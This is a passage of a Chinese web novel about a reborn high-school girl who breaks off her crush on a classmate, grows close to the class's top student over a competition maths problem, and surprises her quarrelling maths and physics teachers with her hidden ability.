凌杏薇动作轻巧顺着梯子往下爬,阳光正好,将少女活泼娇俏的身影映衬得明媚又温暖。
顾舟眠敛眸,扶完梯子使力更多的那只手背在身后,手指下意识蜷缩了一下:“快回去上课吧。”
凌杏薇从地上捡起书包,从里面掏出一个玉米递到顾舟眠面前。
“谢谢你特地跑一趟来帮我,我现在手头也没有什么好东西可以报答你,请你吃个玉米吧。”
顾舟眠接过,挑眉看着手里那个玉米棒:“谢谢。”
凌杏薇将书包背好一边跑一边回头朝他挥手:“不说了,我得走了,迟到好久了!”
少女小跑着仓皇离开,顾舟眠不紧不慢跟在后面,眼底眉梢不自觉带上了笑意,令他短暂忘却了肩部骨骼深处持久又剧烈的熟悉疼痛感。
高二1班。
顾舟眠背着手站在门口:“报告。”
老师知道他是帮自己送作业本去的,虽然疑惑他去得有些久,但也没多想:“快进来吧。”
同桌眼尖,看见他放进抽屉的东西朝他挤眉弄眼:“玉米?你去趟办公室拿回来一个玉米?”
对方一脸惊诧,顾舟眠却是不动声色:“宋棋,认真听课。”
宋棋撇了撇嘴,小声嘀咕:“问问都不行……”
今天大课间没有跳操,照例放着广播。
门口有同学往里喊着:“顾舟眠,有人找你。”
顾舟眠看向门口,那是一位戴着黑框眼镜长相乖巧的圆脸女生,顾舟眠很确信自己不认识她。
余瑶站在门口,低着头,好像不太敢看他,好半天才鼓起勇气大声跟他说话:“顾同学,这是凌杏薇让我带给你的。”
虽然疑惑为什么不是凌杏薇本人来送,但顾舟眠还是收下试卷,态度礼貌又疏离向她道谢:“谢谢你跑一趟,辛苦了。”
“不辛苦不辛苦!”
余瑶摇摇头又点点头,似乎还想说什么,但最后也没有再开口说什么:“嗯,再见。”
顾舟眠折返回座位,摊开那张试卷。
一张夹在试卷里的纸条从中掉落,顾舟眠敛眸捡起。
[谢谢你,顾同学∩_∩]
顾舟眠弯了弯唇,眼底笑意一闪而过。
余光瞥见一道身影往这边走来,他很快就将纸条收到抽屉里,假装若无其事地看起书来。
宋棋正好从外面回来:“唉,刚刚那女生是谁啊?之前没见过的陌生面孔啊,又是给你送情书的?”
“是吴老师托人给我带测验试卷。”
顾舟眠又顿了顿,眼神略带无奈看了宋棋一眼:“你什么时候改改你八卦的毛病。”
宋棋啧了一声:“这怎么能叫毛病呢?你看看这隔三差五就有姑娘找你,我作为兄弟关心你几句也是应该的,不过没事,你也不用太感动!”
顾舟眠没搭理他,继续看书,宋棋习以为常自顾自念叨:“说到这个,那就不得不说说我回来路上看见的那姑娘了。”
“好像是五班的,凌什么薇不太记得了,喜欢二班的唐叙朝,这事本来之前就闹得沸沸扬扬,除了老师和徐光明几乎全校皆知了好叭。”
“就是不知道为什么她今天没给唐叙朝送早餐了,还说不喜欢他了,莫不是终于开窍想开了?”
宋棋说着又瞥了眼好像一点都没在听的顾舟眠:“算了,反正你也不感兴趣,不跟你唠嗑了。”
他说着就要起身去找别人讲话,顾舟眠翻书的动作一顿,抬眸看向他:“站住。”
宋棋乖乖站住,回过头来一脸莫名:“咋滴?”
顾舟眠面无表情:“你回来一下。”
他眼神太过严肃,宋棋懵逼但照做,顶着顾舟眠沉重的目光,宋棋忍不住摆出一副正襟危坐的模样。
而后慎重开口:“顾哥,您说!”
“你怎么知道人家女生不喜欢他了。”
“哈?”宋棋口中发出了迷茫又夸张的一个字。
他以为顾舟眠是要跟他说国家级别的大事,结果是破荒天在问一个八卦?!
是他今天起床的方式不对吧!
顾舟眠不知道他已经炸锅的复杂内心波动,依旧一脸认真:“你听见她亲口说了,还是你随意猜测的。”
“哇……”宋棋无言以对。
不过他很快就调理好了。
毕竟是学霸嘛,对一些事情的因果逻辑叙事要求比较严格……
但很快,他发现这不是叙事严不严格的问题了。
顾舟眠不经意间问:“这件事情闹得很大吗?”
宋棋什么时候听过他一心只读圣贤书的顾哥说这么多废话,最后却只是问一个八卦。
宋棋最后跟着顾舟眠从教室出来的时候仍然还是一脸懵逼。
今天是什么日子?学霸竟然说要看热闹?
还不是口嗨,说走就走,他差一点都跟不上了!
二班就在隔壁,着什么急啊!
走廊上像顾舟眠和宋棋这样明目张胆看戏的人还是不多的,大部分要么都隔着一大段距离远远的假装看风景,要么就是在二班教室里隔着窗户偷听。
唐叙朝神情复杂:“你这是什么意思?”
“什么什么意思?当然是字面意思啊。”凌杏薇不太耐烦。
她只是想去一班给顾舟眠送一下试卷而已,就被
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唐叙朝拦在这兴师问罪。
唐叙朝问她为什么今天没有给他送早餐。
真是笑话,她凭什么给他送啊。
她前世喜欢唐叙朝,所以在路茴的怂恿下天天送早餐追求他。
可她现在不愿意了,重生一世她要悬崖勒马,远离这对恶心人的情侣。
现在倒好,送早餐这件事从唐叙朝嘴里说出来,倒变成了她的义务?
她懒得跟唐叙朝掰扯自己究竟为什么突然不喜欢他的脑残问题,真的很浪费时间。
凌杏薇抬手就随便往人群里指了个人。
“我现在就是喜欢他,也不会喜欢你……”
她手指下一秒就僵在了半空中。
顾舟眠?他怎么刚好在这?
旁边看戏的人均是一脸恍然大悟的表情。
喜欢唐叙朝或许是真爱,可喜欢顾舟眠是人之常情啊!
凌杏薇悻悻收回手,表情如常,心里难免有了一些心虚的情绪。
说到早餐……
她想到今天早上那个玉米,她没有跟赵欢说要准备一份早餐的事情,所以早上依旧还是两人份的早餐。
她顺手捎上了准备给余瑶的,后面却阴差阳错给了顾舟眠。
“咦?这儿怎么站了这么多人?”
一道甜美娇俏的女声从不远处传来,凌杏薇不用看就知道是路茴。
“叙朝哥哥。”果不其然,路茴越过人群径直走向唐叙朝,连个眼神都没分给凌杏薇。
“杏薇,你也在啊。”她过了一会儿才转过身来佯装发现凌杏薇,“你是来给叙朝哥哥送早餐的吧!”
“抱歉抱歉我忘记这事了,昨天叙朝哥哥托我给他带早餐,我其实也有点为难……”
“但我看你早自习迟迟没来,我以为你今天不会送了呢。”
路茴话里话外都在抱歉,但她得意的表情却让人看不出丝毫歉意。
可凌杏薇早已不是从前的凌杏薇,这些话丝毫没有影响到凌杏薇的心情,她只是面无表情看着路茴。
态度极其无所谓:“不用抱歉,我本来就不打算给他送早餐了。”
“真是让人为难呢,杏薇你不会伤心的吧……”路茴下意识就脱口而出,好半天回过神来,有些不可置信,“你刚刚说什么?”
“我以后也不会给他送早餐。”凌杏薇甩下这句话就想离开。
刚刚唐叙朝不依不饶不让她走,现在路茴来了,她刚好可以脱身离开。
谁料下一秒路茴上前来挽住了她的胳膊:“薇薇,你真的不是在赌气的吧?我平时跟叙朝哥哥在一个班,交流确实会更多……”
凌杏薇眼睁睁看着对方挽上自己的手,又听见这亲密的称呼,顿时有点气不打一处来。
谁跟你薇薇,我跟你很熟吗?
还赌气,你们算老几我要在你们身上浪费时间?
爱交流不交流的,都锁死不要出来祸害别人啊!
唐叙朝在旁边看见这一幕有些不耐烦了:“你跟她多说这些干什么?有什么用?她什么态度你又不是不知道,她听得进去?”
凌杏薇很无语,她重生回来就是给她们小情侣当play的一环的吗?
她正想开麦,一道冷冽的声音在她们面前响起:“不好意思,可以让一下吗?”
抬眼间,凌杏薇就看见顾舟眠站在她们面前,而路茴挽着自己的手,无意识间挡了过道一半的路。
路茴松了手往后退了一步:“不好意思啊同学。”
顾舟眠面色平静从凌杏薇面前走过去了,宋棋终于慢半拍反应过来了:“等等我啊!”
两道人影一前一后在凌杏薇面前离开,凌杏薇手臂解脱了自然也要开溜:“该说的话我都说完了,以后我们两个就没有任何关系了。”
她对着唐叙朝撂下这句话就朝着顾舟眠刚刚离开的方向离开了,背影欢快潇洒,没有丝毫留恋。
路茴见她走了,又走回唐叙朝身边小心翼翼道:“叙朝哥哥,她是不是在生我的气?”
唐叙朝听见这话心情顿时不好了:“你不用惯着她,她爱怎么样就怎么样。”
说完他直接往教室走去。
路茴见他这个反应,唇角上扬,露出一个甜美却满足得意的笑容,转身跟着他一起进了教室。
9. 抛出去的问题兜兜转转还是回来了
走廊尽头。
宋棋追上了顾舟眠:“走这么快干嘛,都不知道等等我。”
顾舟眠神色淡然:“快上课了。”
宋棋双手抱胸,狐疑地打量了他两眼:“你今天也是奇怪,怎么突然有这闲情逸致看八卦了?”
顾舟眠还没来得及回答,身后就响起了一道悦耳的女声:“顾舟眠。”
宋棋以为是顾舟眠又来了桃花,一脸八卦地回头,便看见刚刚八卦事件的女主角正站在他身后。
宋棋脸上的笑瞬间僵硬,完美阐述何为笑得比哭得还难看。
凌杏薇对宋棋满脸复杂的表情视若无睹,径直走到顾舟眠面前:“试卷我让我同桌给你送过去了,你收到了吧?”
顾舟眠点头嗯了一声。
这段交流听到这里还算正常,宋棋很自觉地后退一步给她们腾出空间,好奇心作祟正准备进入吃瓜模式,可下一秒就听见令他大跌眼镜的一句话。
顾舟眠问:“遇到麻烦了?”
凌杏薇轻叹一口气:“确实有些麻烦,不过现在已经顺利解决了。”
重生后经过这几件事,凌杏薇也开始接触到顾舟眠这个人,她发现她接触到的顾舟眠跟她印象中的顾舟眠不一样。
不管出于什么心理,是不是巧合,顾舟眠这几次都确确实实帮到她了。
她不想欠人情,索性就直白提出还人情的办法:“这周末有空吗?我想请你吃饭。”
宋棋闻言狐疑地看了顾舟眠一眼,忽然扬起一个笑容来,不知道憋了什么坏。
他用手肘怼了顾舟眠一下,凑过去低声道:“你小子可以啊,新桃花!”
他又转头对凌杏薇说:
“凌同学啊,你真的很有眼光!就我的个人观点来看,喜欢二班唐叙朝不如喜欢一班鼎鼎有名的顾舟眠!”
凌杏薇很快反应过来宋棋误会了自己。
凌杏薇下意识反驳:“不是……”
但她刚刚为了脱身随口胡诌的瞎话恰好被宋棋听了去,宋棋以为她害羞。
“哎!大妹子别害羞!喜欢我们顾舟眠不是什么丢人的事情!全校暗恋顾舟眠的小姑娘有多少啊?”
“你知道有多少吗?”他说着问旁边的当事人顾舟眠,意料之中得到了一个警告意味十足的冷眼。
宋棋也不失落,继续输出:“我也不知道啊,这是数不清的!”
“有理想是很好的事情,但现实是骨感的,顾舟眠是好学生,不干那早恋的事,你不如好好学习,大学冲一把呢?”
凌杏薇不知道从哪开始解释,只能干巴巴挤出一句话来:“我只是想请他吃饭……”
宋棋想都不想:“吃饭这更是无稽之谈……”
“可以。”一直沉默的顾舟眠忽然开口了。
“定好地址和具体时间告诉我。”
宋棋表情呆滞,很浮夸地拉长尾音“嘶”了一声。
见鬼了般僵着脖子转头看了看顾舟眠,又迅速转变态度对着凌杏薇说:
“但是我支持你!你很勇敢!那句话怎么说的来着?勇敢的人先享受世界,你是勇敢的女孩,你一定会拥有幸福的!”
凌杏薇大脑宕机,听着他噼里啪啦一顿说,视线不自觉跟旁边的顾舟眠对视上。
顾舟眠无声地朝她摇摇头,似乎是已经习惯了。
凌杏薇见顾舟眠这样的反应就知道他这个当事人没误会,悄悄松了一口气,心里倒是不担心了。
上课铃声响起,拯救了一脸不知所措听着宋棋唠叨的凌杏薇。
回到座位上,班上的人或多或少对她刚刚跟唐叙朝在走廊上的事情有所耳闻,都不由自主的向她投来目光。
有八卦,有好奇,有探究,也有轻蔑。
唯独她的同桌低着头连一个眼神都没分给她。
余瑶平时就腼腆文静不爱说话,凌杏薇也没在意,听着台上老师讲话,眼睛看着练习册,手中百无聊赖的转着笔。
顾舟眠其实不是不会写,而是这些题目对于她来说太简单了。
老师给出十分钟让她们写题目,前面的脑袋低下去了一片,原本还在刷题的余瑶却忽然抬起头来扯了扯凌杏薇的衣袖。
余瑶小声问她:“你是不是跟顾舟眠很熟啊?”
凌杏薇没想到她也会八卦,只不过八卦的对象跟其他人都不太一样。
从前所有人都是八卦她跟唐叙朝,倒是第一次有人会跟她提起顾舟眠。
凌杏薇只是笑了笑:“不算特别熟吧。”
“噢噢。”余瑶若有所思地点点头,脑袋跟前面那一片一样低了下去。
“你对顾舟眠好像很感兴趣。”凌杏薇也转过头来,压低声音好像在自言自语。
余瑶手中笔一顿,但很快又恢复如常:“年级第一的学霸大佬,我自然崇拜。”
凌杏薇放下手中的笔,满意地看着练习册上她刚刚随手勾画的几道选择题:“这有什么,你有不会的题也可以问我。”
余瑶顺着她的目光看过去,那几道选择题像是随手写上的答案,明明是需要计算的数学题,可草稿纸上却是一片空白。
这样与实际情况并不匹配的实力,显得凌杏薇刚刚说的话很像在打肿脸充胖子。
见余瑶不说话,凌杏薇赶紧解释说:“你不要不信,我平时只是隐藏实力罢了。”
余瑶回过头去,没再说什么回应她。
凌杏薇将目光落回到面前的习题上,内心颇有几分沮丧。
忽然,一张试卷从旁边递了过来。
那是余瑶昨天晚自习没能顺利解出来的一道数学压轴题。
里面不知何时夹进了一张草稿纸,有很完整的解题过程,只是上面的字迹跟余瑶娟秀工整的字迹截然不同。
那字迹洒脱招摇,不被字形所拘束,嚣张随性却又并不让人觉得放浪形骸。
余瑶见过这个字迹,是出自她的同桌凌杏薇。
余瑶目光沉静温柔:“我相信你,但是这题我看了这个解析还是不会,你可以教教我吗?”
这是凌杏薇意料之外的反应。
毕竟凌杏薇先前的成绩甚至不如中等成绩的余瑶好,却倒反天罡说要教成绩比她好的余瑶写题目。
但余瑶好像并不在意,她将那张草稿纸递到她跟前:“我知道这是你写的解析,我相信你是有这个实力教我的。”
凌杏薇展颜笑得欢快:“既然你都这么认可我了,为师自然不会辜负你的期望,我一定会尽心尽力教你。凌氏牌教学机,包教包会!”
因为是在课堂上,凌杏薇为她讲解题目的声音压得很低,所幸是坐在最后一排,没什么人关注她们。
桌洞突然嗡嗡震动响了两声,凌杏薇拿笔的动作一顿。
余瑶大惊,她压低声音提醒凌杏薇:“你手机没调静音?”
静谧的教室里,这两声显得格外明显。但好在数学老师去了趟办公室,这时还没回来,只有周遭临
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近的几个同学用一副“看破不说破”的表情瞧了她们俩一眼。
凌杏薇赶紧从书包里摸出手机调成静音模式,数学老师恰好是这时从办公室回来。
凌杏薇呼出一口气,正准备将手机塞回书包里,余光却瞥到上面几条除了软件推送以外的未读消息。
凌杏薇心头一动,下意识点进去扫了一眼。
会扬帆起航:[姐姐,早些休息,晚安。]
消息显示时间是凌晨三点,那时凌杏薇早就不小心睡着了。
凌杏薇终于想起来这个网上认识的弟弟了,他昨晚托自己看的那两道高中数学竞赛的题目凌杏薇研究了好久,卡在一个地方没有进展,冥思苦想好久还不小心给想睡着了……
讲台上数学老师杨鑫已经对完了选择题答案,开始题目讲解了。
凌杏薇的思绪还陷在昨天晚上那个未解完的习题里,就被旁边余瑶略显惊讶的声音拉回现实:“你全对哎!”
凌杏薇一脸满意:“当然,我一般不爱打这种低端局。”
余瑶顺着她的话问:“那你打什么样的高端局?”
凌杏薇眨了眨眼,眼底闪过一丝狡黠。
她冲余瑶挑了挑眉:“等着。”
她拿出一张空白草稿纸,从桌洞的书包里摸出手机小心翼翼偷窥了几眼,往白纸上誊写那道奥数题目。
“呐,试试看。”凌杏薇将抄下来的题目递过去放在余瑶桌上。
余瑶兴奋接过,果不其然,最后同样没能解出来。
但她看凌杏薇的眼神已然带了几分先前没有的崇拜。
凌杏薇借着课间时间研究这道题目,余瑶也按照凌杏薇提议的学习方法开始针对性刷题。
后排的两个人现在下课除了上厕所几乎是不离开座位。
余瑶是异常兴奋,在尝试新的学习方法。
而凌杏薇则是在想方设法解题。
她总觉得少了点步骤。
晚自习下课,校园一下子空荡了起来。
凌杏薇捏着那张写了题目和她写满了涂涂改改解题思路的草稿纸边看边缓缓下楼梯。
她走得很慢,几乎是走几步停一下看看手里的题目。
身后突然传来脚步声,紧接着一道冷冽的嗓音传入她的耳内。
“走路看东西会摔跤。”
凌杏薇杵在原地不过几秒的功夫,顾舟眠就走到她前面去了。
见凌杏薇没有跟上的意思,顾舟眠回头看她:“不走吗?”
或许,顾舟眠会呢?
这个想法一出,凌杏薇立马就行动了。
“来了!”她应声跟上他的脚步。
她喊了他一声:“顾同学,你现在赶时间吗?”
说完这句话,她又不免在脑海里暗骂自己拐弯抹角。
但这种事情也确实是她没经验,她凌杏薇什么时候需要向人请教问题?
她的成绩一贯是名列前茅,哪怕是迫于形势假装堕落,也未曾让自己的成绩下滑,学习懈怠过。
实在是这题超纲了!况且,她已经两年没碰过竞赛资料了。
顾舟眠顺势问她:“是有什么事吗?”
回想着余瑶今天向她请教问题的语气,凌杏薇开口了:“这题不会,你教教我呗?”
顾舟眠看着递到自己面前的草稿纸,再仔细定睛一看,不由得放慢了脚步。
这题目不是他之前解不出来拍照发出去请教的奥数题吗?
10. 学竞赛的好苗子……个屁 就这样水灵灵……
顾舟眠淡定接过那张纸,上面已经涂涂写写有了大致的解决思路。
“我带回去给你看看吧。”
见顾舟眠肯帮忙,凌杏薇喜出望外加快脚步走在他前面,双手拉着书包肩带面对着他往后倒退着走。
“我昨天晚上琢磨这个题目,不知不觉就睡着了,闹钟都没开,早上差点迟到……”
果然是睡着了。
顾舟眠敛眸掩去眼底笑意,可稍稍扬起的嘴角还是暴露了他此刻内心的愉悦。
凌杏薇走在前面倒着走,正在跟他说自己解题的思路,抬眼一看,不禁愣住了。
顾舟眠笑起来散去了平日里生人勿近的疏离感,此刻低垂着眉眼唇角上扬,含蓄温和的模样让她不禁想到了“陌上人如玉,公子世无双”这句话。
不似平时的清冷疏离,这时的顾舟眠眉眼带笑,温柔至极。
凌杏薇情不自禁道:“你笑起来真好看。”
顾舟眠面上闪过一丝错愕,很快又恢复那副冷淡的样子。
凌杏薇有点惋惜,早知道就不说出来了。
顾舟眠则是冷着脸,别开脸,眼底翻涌着慌乱情绪,而他耳边碎发下隐藏的通红耳根早已暴露了他此刻的青涩无助。
他单手拉了拉书包肩带,迈开腿往前走:“走吧,天黑了路不好走。”
他加快了脚步,长身玉立走在前面。
凌杏薇扯了扯书包跟在后面小嘴叭叭:“那个题目你要是解出来了就拍给我看看呗,不过解不出来也没有关系,这个确实有点难度……”
月光清浅,路灯照亮了道路旁一前一后的两道身影。
少年刻意放慢脚步等着后面的少女跟上,而少女并没有察觉,一边走一边嘴里念念有词说着些什么,少年虽然很少开口,却一直神情专注听着,时不时点点头。
一动一静,少女巧笑倩兮,少年温润如玉,她们是这晚间街道鲜活的风景。
带上门,顾舟眠进屋换上拖鞋。
听见开门的动静,一道女声从厨房传出:“小眠,回来啦?”
随着声音而来的,是一道中年女子的身影。
她保养得很不错,不过三十的模样,看起来完全不像是一个孩子的妈,身材得体匀称,可一张秀气的面庞上却显出了几分严肃。
她不由分说地将牛奶端进顾舟眠的房间:“来,把牛奶喝了,刷会儿题再睡。”
顾舟眠环视一圈,看见被摆的整整齐齐的书桌,面色凝重:“妈,你趁我不在进我房间。”
顾雪皱了皱眉,满是不解:“我为什么不能进?这个家哪里是我不能去的?你这孩子,专心读你的书就行,还管起我来了?”
顾舟眠不想就这个事情跟她多做争辩:“我要做题了,您出去吧,记得关一下门。”
顾雪张了张嘴,似乎还想说什么,但终究是欲言又止,离开了。
顾舟眠掏出了凌杏薇刚刚回家路上递给他的草稿纸,仔细看了一遍题。
两个人的解题思路截然不同,这张纸给了顾舟眠另外一种解题方法,顺着走,只用解出来一个关键节点就可以算出来这道题了。
柠城一中。
微风不燥,拂面而来时带着夏季还未褪去的浅淡温热。
顾舟眠快走到四楼高二五班的教室前时,凌杏薇正从旁边楼梯间的拐角处鬼鬼祟祟走过来。
她袖子下藏着手机,四处张望着然后问旁边的女生:“学姐,还有呢?报完了吗?是这个背影头像对不?加了加了,回头记得给我通过一下。”
那个女生顾舟眠认识,是高三年级常年稳居第一的一班学生,楚语兮。
眼看着凌杏薇目送着楚语兮上楼把人送走了,顾舟眠这才往她这边走。
凌杏薇眼尖,一转头就看见他了。
她挥挥手,热情道:“顾同学,找谁啊,我帮你进去喊?”
顾舟眠言简意赅道:“找你。”
他将手中两张草稿纸递给她:“题目解出来了,你看看。”
一张是凌杏薇给他的草稿纸,一张是顾舟眠工工整整流畅的解题过程。
凌杏薇下意识称赞道:“很厉害啊,真不愧是大佬,我之前冥思苦想的这个点一直卡着,没想到你竟然顺着我的思路解出来了。”
顾舟眠还来不及谦虚,一台手机就怼到了他面前。
“大学霸,咱们加个微信呗。”
“可以,但我没有带手机,你先......”
话没说完,一道熟悉的声音就朝着他们吼道:“违规违纪带手机,还光明正大拿出来,很嚣张啊这位同学!看来是完全不把我这个教导主任放在眼里是吧!”
这句话说完,很不幸的一幕发生了。
凌杏薇的手机被徐光明缴了,人被徐光明拎到办公室训了一节下课。
凌杏薇回到教室上课的时候整个人还是发蒙的。
徐光明嗓门大,余瑶在教室内也是知道这件事的,见她回来了忙凑过来安慰她:“主任好像跟老婆吵架了,今天心情不好,不是你的问题。”
凌杏薇一听这话更气愤了:“他跟老婆吵架大课间就来教室走廊上转悠?!”
“算了,也是我运气不好,而且带手机违法校规在前。”
余瑶不太会安慰人,见她这么生气也有点不知所措。
她从桌洞里掏出一张纸条递给她:“没事,别伤心,你好歹要到了顾学霸的微信号。”
凌杏薇一愣,从她手里接过纸条,上面正是一串手机号。
余瑶说起这件事也有点飘飘然。
凌杏薇被徐光明骂骂咧咧带走了之后顾舟眠没有离开,他走到五班教室的后门敲了敲靠近余瑶这边的窗户问她借了张草稿纸,然后将写着电话号码的草稿纸递给了余瑶。
“可能是帮你去一班送了一次试卷他有点眼熟我吧。”余瑶有些激动,“他说你按照这个电话号码微信搜索就可以了。”
“一班的人都不一定他的微信号呢,他竟然还主动写给你!”
凌杏薇抖了抖手中的白纸边说边在上面写字:“这福气给你你要不要?”
余瑶几乎是脱口而出:“要啊!为什么不......要?”
余瑶弱弱停住,凑近看她笔下正在写的东西:“检讨书?徐主任今天吃火药了?”
凌杏薇叹了口气:“还要请家长呢?”
余瑶嘀咕着:“之前不都是没收就好了吗?怎么这次还要请家长了?”
凌杏薇停住手上的笔,面无表情问:“还要吗?这福气。”
余瑶连连摇头。
凌杏薇转着手里的笔:“检讨还要在下个星期一升国旗的时候上去念呢。”
余瑶没控制住声量:“啊?”
讲台上的物理老师注意到了她们这边,他扶了扶眼镜严肃道:“余瑶!这道选择题你来回答。”
余瑶赶紧站起来顺着他手指的方向看题,那是一道物理压轴的选择题,难度不小。
这种难度要是平时她回答错了,物理老师倒是不会苛责她。
但现在是余瑶被逮到了上课讲小话,回答错了可是免不了被一通责罚的。
余瑶赶紧低头在草稿纸上面演算,但是因为心急的缘故怎么算都不对,连着两次算出来的都是选项里没有的答案,前面的同学也都低着头计算,教室里一片寂静。
一张草稿纸被推到余瑶面前,上面有清晰的解题过程和答案选项。
凌杏薇抬手在草稿纸空白的位置写下三个字。
相信我。
余瑶大声冲讲台上的物理老师道:“老师,我
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解出来了,选C!”
物理老师低头看了眼手上的答案:“对了,是选C。”
他面色好了很多:“解题过程上来写一下吧。”
余瑶犹疑了一下,凌杏薇压低声音道:“你把这个带上去就说是你自己写的。”
余瑶拿着草稿纸正准备往台上走,物理老师又发话了:“你可以坐下了,旁边的,余瑶的同桌。”
他低头看了眼座位表上的名字:“凌杏薇,对就是你,你上来写一下这道题的解题过程。”
凌杏薇手里转着的笔一顿,起身往讲台上走。
凌杏薇捏着粉笔在黑板上面行云流水写下完整解题过程的同时,余瑶也下意识往凌杏薇递给她的草稿纸上比对。
凌杏薇现在写的解题过程跟给余瑶的不一样。
这是另外一种完全不同的解题思路。
物理老师是一位中年教师,课堂教学一向严肃,此刻看着凌杏薇的解题过程,有些不可置信地扶了扶眼镜。
他指着黑板问旁边的凌杏薇:“这个解题角度很新颖,你是怎么想出来的?”
凌杏薇开口道:“理科难题都是由很多个简单题目组合起来的,把各种方法套进去一个个推算其实就能找到其他的方法。”
“当然,这种方法是最慢的,积少成多的话就能对这种类型的题目快速熟悉并且找到最合适最简便的解题方法。”
物理老师看着黑板上的解题过程摇了摇头:“这不是简单的积少成多啊……”
这得有点天赋的。
但他没继续说,他看向凌杏薇的目光变得严肃起来:“下课来办公室找我,现在下去听课吧。”
凌杏薇还来不及懵圈,物理老师就拿起课本开始讲解她刚刚写出来的题目,她只好先从讲台上下来了。
余瑶凑过来跟她咬耳朵:“杏薇,你好厉害,这两个解题方法完全不一样,不过你在上面写的那个我不太看得懂,你写给我的这个我倒是能理解。”
凌杏薇嘴角上扬,笑而不语。
这就对了,每个人适合的解题方法不一样,余瑶适合简便易懂的方法,但是在老师面前她想试一试不藏拙的方法。
高二年级办公室。
杨鑫正坐在桌前翘着二郎腿,耳机里听着小曲儿闭目养神。
凌杏薇站在旁边的时候正犹豫着要不要主动问个好,杨鑫率先睁开了眼。
他吓了一跳,赶紧收回翘着二郎腿的脚,板板正正坐好,惊魂未定道:“你怎么走路没声的?”
凌杏薇是跟着物理老师进来的,杨鑫沉浸于音乐自然不会注意到她。
凌杏薇撇开话题,明知故问道:“老师,您之前说下课找您,是什么事啊?”
凌杏薇上次被杨鑫叫到办公室尤其说是喝茶,倒不如说是额外加作业。
杨鑫轻咳两声,欲盖弥彰地扫了一眼四周,压低声音问她:“昨天我让你额外写的那张数学试卷最后一道大题我已经看了,你老实告诉我,你是不是在奥数题里学的解法?”
“最后一道大题?”物理老师刚好端着一杯水过来。
他朝凌杏薇挥挥手:“来,你过来我跟你好好说说。”
“老李,你也发现这个好苗子了?”杨鑫笑嘻嘻问。
物理老师全名叫李源,这个凌杏薇也是刚刚瞥他座位上的名牌才临时知道的。
“好苗子?”李源拧眉,不可置信地看了杨鑫一眼。
“是啊,我以我从业二十年的资历保证,这位同学不仅是好苗子,还是个学竞赛的好苗子!”
李源一副闻所未闻的表情,面带轻蔑地看向凌杏薇,冷笑道:“班上有这种好苗子我会不知道?”
凌杏薇敛了笑,原来李源喊她来办公室不是发现她藏拙的实力,而是要批评她?
11. 赌她考单科第一
果不其然,李源语气严肃,看着她时就像在看什么令他厌恶的阴沟老鼠。
“还好苗子,我看根茎都已经烂到底了吧!”
“小小年纪就知道搞攀比,有这时间多写几道题,你们班物理平均分也不至于像这样次次倒数吧!”
李源这话说得着实不好听,杨鑫面上笑意散去,明显不太高兴了:“老李,你说什么呢!”
“我说错什么了?这道物理题难度有些超纲,正常教科书上的公式要解出来都难,她不知道上哪看的竞赛解法,竟将解题过程背下来了!”
“日常考题根本用不上这些东西,你有背这种歪门邪道的功夫还不如多背几个基础的物理公式,再不济你上课多花点时间认真听课物理成绩也不至于这么差!”
李源气急败坏说着又恨铁不成钢般收回目光,转身去桌面上东翻西找,嘴上还自言自语呢喃道:“对,成绩单,我倒是看看你这次考了几分……”
凌杏薇又看着李源在桌上翻箱倒柜找之前的成绩单,偏过头去忍不住无声笑了起来。
多少分?
凌杏薇记得那天是9月21号,她根据日期控了个21分,比她平日动不动考出的个位数高了不少。
而且,高二的分班选科在即,学校为了让学生对自己的能力有更深层的认知,所以这次月考的试卷难度比平时高一些。
可凌杏薇任性妄为管了,哪管什么试卷难不难的,能考多少分她都是根据心情控分控出来的,少有估错分的时候。
一道疑惑的声音很快响起,李源扶了扶眼镜,不可思议道:“这次……进步了?”
看着李源盯着眼前好不容易找到的一张月考成绩单干瞪眼,一副百思不得其解的模样,凌杏薇几乎是在强忍笑意。
实在忍不住了就趁李源不注意偏过头去偷偷笑。
这一转头刚好就撞上站在办公室门口的顾舟眠不经意间投来的目光。
顾舟眠只是短暂与她视线相交,很快便若无其事地错开。
他抬手敲门问好,俨然一副好学生的模样。
确实啊,凌杏薇也不动声色收回目光,在心里这样想着。
她要是老师肯定也会偏爱顾舟眠这种学生,品学兼优,好学上进,重点是跟她一点都不一样,从不惹事,老师从来都不用为他操心。
李源忽然恍然大悟抬头道:“我想起来了,你是不是就是那个物理大题经常空着的同学?”
凌杏薇被迫收回视线,下意识“啊”了一声。
李源严肃起来:“你啊什么啊,那些大题为什么全部空着不写呢?我不是说过不会的大题你写个公式也能得一分的吗?我还想过要找你谈话来着,老是忘记,这次刚好一并跟你说说看……”
这次凌杏薇是真的真情实感的感叹:“啊……”
杨鑫在李源还没开口前趁机说和:“我说老李,你这么严格干嘛,肯去看竞赛难题说明这孩子还是肯学的嘛,你引导引导人家,别打击教育啊!”
李源早看杨鑫那些温柔和煦的亲民政策不爽了,此刻好不容易逮着机会可不得趁机怼他。
“打击教育怎么啦?我打击教育也比你那不知道什么鼓励教育好!”
“那些学生本来就不爱学,你鼓励鼓励他们魂都不知道飘哪儿去了!”
一向好脾气的杨鑫被这番话气得吹胡子瞪眼。
“你打击学生积极性还以此为豪了?我发现我是真不想跟你这老古板交流!都什么年代了还信奉棍棒底下出孝子,严师出高徒的老旧说法呢!”
李源冷哼一声:“你爱信不信!你就到处去问问看,你看他们有几个真打心底服你的!”
两位科任老师吵得越发不可开交,旁边的语文老师听不下去了。
她转过头来,忍无可忍制止道:“老李老杨你们要吵出个胜负可以,但烦请你们出去一趟不要逗留在这里扰民。实在不行我让其他学生都来围观一下,让大家来评一评你们谁赢谁输行不行?”
两位科任老师终于消停下来。
但这事并未就这样结束,杨鑫拿出早已准备好的几套数学竞赛资料送给凌杏薇,美名其曰让她回去好好研究。
李源就在旁边冷眼旁观,还不忘嘲讽一下:“也就你把一个差生当宝看。”
战争再次一触即发,杨鑫这回是真忍不了李源了。
他蹭地站起身来,叉着腰怒喝道:“李源你有眼光倒是带个竞赛生出来啊!这么多年手底下教出几个物理竞赛报送柠大的学生来了?倒是好意思搁这给我冷嘲热讽!”
李源也是不遑多让:“教出个数学竞赛报送柠大的给你得意坏了?不过就是仗着自己运气好碰见个好苗子吗!好苗子给谁带都能成功!你不过一个辅助的,倒是给你得意坏了!”
杨鑫摇头晃脑,逐渐从容起来:“我得意?哈,好苗子在你面前你都不见得发现,自己没识珠的慧眼给千里马当伯乐,就可劲酸上了吧!有眼无珠!”
李源嗤笑一声:“千里马?你就把这小丫头当个宝贝吧!我倒是看看她下回考试能进步多少考多少分!”
“好啊,你敢不敢跟我赌!”
凌杏薇听到这里,眉心猛地一跳,看向杨鑫的目光也带了几分忐忑犹豫。
杨老师这是要干什么?
